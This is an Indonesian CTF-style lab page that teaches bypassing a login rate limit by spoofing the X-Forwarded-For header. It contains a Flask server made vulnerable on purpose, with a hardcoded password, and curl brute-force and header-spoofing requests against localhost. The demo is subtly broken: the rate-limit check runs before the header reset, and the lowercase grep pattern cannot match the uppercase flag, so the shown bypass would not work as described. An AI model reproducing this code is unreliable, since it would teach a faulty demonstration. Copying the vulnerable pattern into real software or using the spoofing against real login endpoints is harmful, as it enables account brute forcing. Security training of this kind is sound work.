TDCTF Academy Logo TDCTF ACADEMY

EH-22: ⏱️ API Rate Limit Bypass - Brute Force Tanpa Batas

Tools: curl


cd ~ && mkdir -p eth-l22 && cd eth-l22
cat > server.py << 'PYEOF'
from flask import Flask, request, jsonify
app = Flask(__name__)
attempts = {}
@app.route('/login', methods=['POST'])
def login():
ip = request.remote_addr or 'test'
attempts[ip] = attempts.get(ip,0) + 1
if attempts[ip] > 5:
return jsonify({"error":"rate limited"}),429

# ❌ Bypass: ganti header X-Forwarded-For!
forwarded = request.headers.get('X-Forwarded-For','')
if forwarded:
attempts[ip] = 0 # reset jika pakai proxy!
if forwarded == 'bypass_ip':
return jsonify({"flag":"FLAG{Rate_Limit_Bypass}"})

data = request.json or {}
if data.get('pass') == 'admin123':
return jsonify({"token":"ok"})
return jsonify({"error":"invalid"}),401
app.run(port=9020)
PYEOF
python3 server.py &
sleep 1

echo "=== 1. Normal - 5 attempts blocked ==*"
for i in $(seq 1 6); do
curl -s -X POST http://localhost:9020/login \
-H "Content-Type: application/json" \
-d '{"user":"admin","pass":"wrong"}' | grep -o "error.*"
done
echo ""
echo "=== 2. Bypass with X-Forwarded-For ==*"
curl -s -X POST http://localhost:9020/login \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: bypass_ip" \
-d '{"user":"admin","pass":"wrong"}' | grep -o 'flag{.*}'

kill %1 2>/dev/null

Refleksi: Jangan percaya X-Forwarded-For tanpa validasi. Rate limiting harus menggunakan IP asli, bukan header yang bisa dimanipulasi.


Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI

Tidak ada sub-judul